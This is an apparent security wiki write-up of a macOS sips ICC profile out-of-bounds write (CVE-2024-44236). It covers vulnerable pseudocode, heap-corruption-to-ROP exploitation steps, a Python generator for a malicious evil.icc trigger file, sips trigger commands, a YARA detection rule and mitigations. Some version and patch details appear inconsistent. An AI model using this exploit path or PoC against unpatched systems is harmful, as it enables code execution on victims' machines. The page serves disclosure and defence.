# WWW2Exec - sips ICC Profile Out-of-Bounds Write (CVE-2024-44236)

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## Overview

An out-of-bounds **zero-write** vulnerability in Apple macOS **Scriptable Image Processing System** (`sips`) ICC profile parser (macOS 15.0.1, `sips-307`) allows an attacker to corrupt heap metadata and pivot the primitive into full code-execution. The bug is located in the handling of the `offsetToCLUT` field of the `lutAToBType` (`mAB `) and `lutBToAType` (`mBA `) tags. If attackers set `offsetToCLUT == tagDataSize`, the parser erases **16 bytes past the end of the heap buffer**. Heap spraying lets the attacker zero-out allocator structures or C++ pointers that will later be dereferenced, yielding an **arbitrary-write-to-exec** chain (CVE-2024-44236, CVSS 7.8).

> Apple patched the bug in macOS Sonoma 15.2 / Ventura 14.7.1 (October 30, 2024). A second variant (CVE-2025-24185) was fixed in macOS 15.5 and iOS/iPadOS 18.5 on April 1, 2025.

## Vulnerable Code

```c
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
if (offsetToCLUT <= tagDataSize) {
    // BAD ➜ zero 16 bytes starting *at* offsetToCLUT
    for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
        buffer[i] = 0;            // no bounds check vs allocated size!
}
```

## Exploitation Steps

1. **Craft a malicious `.icc` profile**

   * Set up a minimal ICC header (`acsp`) and add one `mAB ` (or `mBA `) tag.
   * Configure the tag table so the **`offsetToCLUT` equals the tag size** (`tagDataSize`).
   * Place attacker-controlled data right after the tag so that the 16 zero writes overlap allocator metadata.

2. **Trigger parsing with any sips operation that touches the profile**

   ```bash
   # verification path (no output file needed)
   sips --verifyColor evil.icc
   # or implicitly when converting images that embed the profile
   sips -s format png payload.jpg --out out.png
   ```

3. **Heap metadata corruption ➜ arbitrary write ➜ ROP**  
   On Apple’s default **`nano_zone` allocator**, metadata for 16-byte slots lives **immediately after** the aligned 0x1000 slab. By placing the profile’s tag at the end of such a slab, the 16 zero-writes clobber `meta->slot_B`. After a subsequent `free`, the poisoned pointer is enqueued in the tiny free list, letting the attacker **allocate a fake object at an arbitrary address** and overwrite a C++ vtable pointer used by sips, finally pivoting execution to a ROP chain stored in the malicious ICC buffer.

### Quick PoC generator (Python 3)

```python
#!/usr/bin/env python3
import struct, sys

HDR = b'acsp'.ljust(128, b'\0')          # ICC header (magic + padding)
TAGS = [(b'mAB ', 132, 52)]              # one tag directly after header
profile  = HDR
profile += struct.pack('>I', len(TAGS))  # tag count
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)

mab = bytearray(52)                      # tag payload (52 bytes)
struct.pack_into('>I', mab, 44, 52)      # offsetToCLUT = size (OOB start)
profile += mab

open('evil.icc', 'wb').write(profile)
print('[+] Wrote evil.icc (%d bytes)' % len(profile))
```

### YARA detection rule

```yara
rule ICC_mAB_offsetToCLUT_anomaly
{
    meta:
        description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
        author       = "HackTricks"
    strings:
        $magic = { 61 63 73 70 }          // 'acsp'
        $mab   = { 6D 41 42 20 }          // 'mAB '
        $mba   = { 6D 42 41 20 }          // 'mBA '
    condition:
        $magic at 0 and
        for any i in (0 .. 10):           // up to 10 tags
            (
              ($mab at 132 + 12*i or $mba at 132 + 12*i) and
              uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
            )
}
```

## Impact

Opening or processing a crafted ICC profile leads to remote **arbitrary code execution** in the context of the invoking user (Preview, QuickLook, Safari image rendering, Mail attachments, etc.), bypassing Gatekeeper because the profile can be embedded inside otherwise benign images (PNG/JPEG/TIFF).

## Detection & Mitigation

* **Patch!** Ensure the host is running macOS ≥ 15.2 / 14.7.1 (or iOS/iPadOS ≥ 18.1).  
* Deploy the YARA rule above on email gateways and EDR solutions.  
* Strip or sanitise embedded ICC profiles with `exiftool -icc_profile= -overwrite_original <file>` before further processing on untrusted files.  
* Harden Preview/QuickLook by running them inside sandboxed “transparency & modernisation” VMs when analysing unknown content.  
* For DFIR, look for recent execution of `sips --verifyColor` or `ColorSync` library loads by sandboxed apps in the unified log.

## References

* Trend Micro Zero Day Initiative advisory ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)”  
  https://www.zerodayinitiative.com/advisories/ZDI-24-1445/  
* Apple security updates HT213981 “About the security content of macOS Sonoma 15.2”  
  https://support.apple.com/en-us/HT213981

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